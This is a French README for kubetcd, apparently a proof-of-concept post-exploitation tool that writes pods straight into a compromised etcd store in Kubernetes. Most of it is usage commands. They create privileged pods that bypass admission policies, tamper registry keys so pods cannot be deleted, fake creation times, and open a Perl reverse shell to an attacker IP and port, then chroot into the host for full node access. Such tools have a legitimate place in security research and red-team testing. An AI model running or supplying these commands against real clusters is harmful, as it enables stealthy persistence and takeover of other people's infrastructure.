
Post-exploitation d'un etcd compromis, obtenez une persistance et un shell distant sur les nœuds.
Wrapper autour de https://github.com/jpbetz/auger.
Il automatise le déploiement de pods en écrivant directement dans etcd. Il comprend plusieurs fonctions pour la post-exploitation d'etcd compromis.
[!WARNING]
Ceci est une preuve de concept (PoC), ne l'utilisez pas dans un environnement de production. Écrire directement dans etcd peut entraîner des incohérences ou des données corrompues, ce qui peut faire échouer la logique dekube-apiserverdans la récupération ou la manipulation des données d'etcd. Les environnements de test avec plusieurs nœuds peuvent être déployés avec KIND
Le dépôt principal, auger, fournit les principales fonctionnalités de sérialisation et de désérialisation des entrées en protobuffer dans etcd. Kubetcd est une preuve de concept qui encapsule ces fonctionnalités pour rapprocher etcdctl du client habituel kubectl. Dans un scénario avec un etcd compromis, kubetcd tenterait d'utiliser des pods manipulés et privilégiés pour obtenir une persistance et un accès privilégié à l'un ou l'ensemble des hôtes du cluster. Notez que kubetcd ne prend actuellement en charge que les opérations sur les pods.
Kubetcd récupère les certificats et les clés pour s'authentifier auprès du service etcd depuis les chemins par défaut suivants :
De plus, le point de terminaison par défaut est défini sur 127.0.0.1:2379
Toutes les valeurs par défaut précédentes peuvent être modifiées via des paramètres.
De plus, etcdctl, le client pour etcd, doit être installé.
sudo apt install etcd-client
Clonez et compilez :
git clone https://github.com/nccgroup/kubetcd
cd kubetcd
go build -buildvcs=false .
Vous pouvez rencontrer l'erreur suivante :
./kubetcd: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.32' not found (required by ./kubetcd)
./kubetcd: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./kubetcd)
Si c'est le cas, compilez kubetcd avec Golang 1.19.
Reportez-vous à https://github.com/jpbetz/auger pour les principales fonctionnalités d'auger, qui sont toujours présentes. Ce README ne détaille que les nouvelles fonctionnalités ajoutées par le wrapper :
./kubetcd -h
./kubetcd get pods
#or
./kubetcd get pod <name> -n <namespace>
templateName doit être un pod en cours d'exécution dans le namespace par défaut :
./kubetcd create pod <name> -t <templateName>
Vous pouvez écraser un pod en cours d'exécution en définissant simplement les mêmes valeurs name et templateName.
./kubetcd create pod <name> -t <templateName> --image <image>
./kubetcd create pod <name> -t <templateName> --time "2000-01-31T00:00:00Z"
ETCD enregistre les nouveaux pods dans /registry/pods/<namespace>/<name> mais les champs namespace et name peuvent être altérés.
Ainsi, ces pods peuvent être listés avec kubectl mais pas supprimés.
./kubetcd create pod <name> -t <templateName> -p <randomentry>
#Will add an entry in /registry/pods/default/<randomentry>
#Or tamperede namespace
./kubetcd create pod <name> -t <templateName> -n <namespace> --fake-ns
#Will add an entry in /registry/pods/<namespace>/<randomentry> but it will run in default namespace
Déployez la charge de travail sur n'importe quel nœud à volonté :
./kubetcd get nodes
./kubetcd create pod <name> -t <templatename> --node <nodeName>
Déployez des pods privilégiés dans des namespaces restreints. Cela contournerait les AdmissionControllers intégrés comme les PSP, les PSA ou toute autre politique basée sur des règles personnalisées telles que OPA Gatekeer ou Kyverno :
./kubetcd create pod <name> -t <nameTemplate> -n <restrictedNamespace> -P
L'option -P définira tout pod comme privileged et partagera les namespaces network, PID et IPC avec le nœud sous-jacent.
Déployez des pods privilégiés dans des namespaces restreints et obtenez un shell distant :
./kubetcd create pod <name> -t <nameTemplate> -n <restrictedNamespace> -P -r <IP>:<PORT>
Cela lancera un reverse shell perl, qui est présent par défaut dans plusieurs images.
Une fois que vous avez le reverse shell, changez le système de fichiers racine avec chroot /host pour obtenir un accès complet au nœud.
corev1